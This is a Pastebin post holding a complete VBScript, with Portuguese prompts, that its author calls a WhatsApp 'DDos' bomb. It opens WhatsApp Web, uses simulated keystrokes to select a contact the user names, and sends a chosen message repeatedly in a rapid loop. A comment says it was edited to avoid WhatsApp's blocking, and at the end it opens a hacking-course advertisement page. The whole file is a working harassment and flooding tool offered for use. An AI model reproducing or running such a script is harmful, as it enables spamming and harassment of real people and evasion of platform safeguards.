Advertisement
limontec

WhatsApp Bomb VBScript Portuguese 4.0

Sep 10th, 2016
27,834
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ' InputBoxes
  2. Contact = InputBox("Com qual contato você quer fazer DDos?" & vbNewLine & vbNewLine &  "Não use acentuação no nome do contato!", "WhatsApp DDos")
  3. Message = InputBox("Qual é a mensagem a ser enviada?","WhatsApp DDos")
  4. T = InputBox("Quantas vezes a mensagem precisa ser enviada?" & vbNewLine & vbNewLine & "Informe um número inteiro!","WhatsApp DDos")
  5. If MsgBox("Deseja continuar?" & vbNewLine & vbNewLine & "Aperte NÃO para cancelar!", vbYesNo + vbQuestion + vbSystemModal, "WhatsApp DDos") = vbYes Then
  6.  
  7.     ' Abre o WhatsApp
  8.     Set WshShell = WScript.CreateObject("WScript.Shell")
  9.     Return = WshShell.Run("https://web.whatsapp.com/", 1)
  10.  
  11.     ' Loading Time
  12.  
  13.     If MsgBox("O WhatsApp Web está aberto?" & vbNewLine & vbNewLine & "Espere a página carregar!" & vbNewLine & vbNewLine & "Aperte NÃO para cancelar!", vbYesNo + vbQuestion + vbSystemModal, "WhatsApp DDos") = vbYes Then
  14.  
  15.     ' Editado por Limontec.com para evitar bloqueio do WhatsApp
  16.     MsgBox "Não toque no navegador durante o ataque!" & vbNewLine & vbNewLine & "Tempo para iniciar ataque 10 segundos.", 1024 + vbSystemModal, "Preparando DDos"
  17.  
  18.     ' Abre o WhatsApp Search Bar
  19.     WScript.Sleep 50
  20.     WshShell.SendKeys "{TAB}"
  21.  
  22.     ' Busca pelo contato
  23.     WScript.Sleep 50
  24.     WshShell.SendKeys Contact
  25.     WScript.Sleep 5000
  26.     WshShell.SendKeys "{ENTER}"
  27.     WScript.Sleep 5000
  28.  
  29.     ' Loop das mensagens
  30.     For i = 0 to T
  31.     WScript.Sleep 5
  32.     WshShell.SendKeys Message
  33.     WScript.Sleep 5
  34.     WshShell.SendKeys "{ENTER}"
  35.     Next
  36.  
  37.     ' Fim do Script
  38.     WScript.Sleep 3000
  39.     MsgBox "DDosing no " + Contact + " foi feito com sucesso, visite Limontec.com", 1024 + vbSystemModal, "DDos feito"
  40.  
  41.     ' Mensagem de Script cancelado
  42.     Else
  43.     MsgBox "O processo foi cancelado com sucesso", vbSystemModal, "DDos Cancelado"
  44.     End If
  45. Else
  46. MsgBox "O processo foi cancelado com sucesso", vbSystemModal, "DDos Cancelado"
  47. End If
  48.  
  49. ' Abre o Limontec.com
  50. Set WshShell = WScript.CreateObject("WScript.Shell")
  51. Return = WshShell.Run("https://www.limontec.com/2015/12/curso-hacker-wi-fi-limon-tec.html", 1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement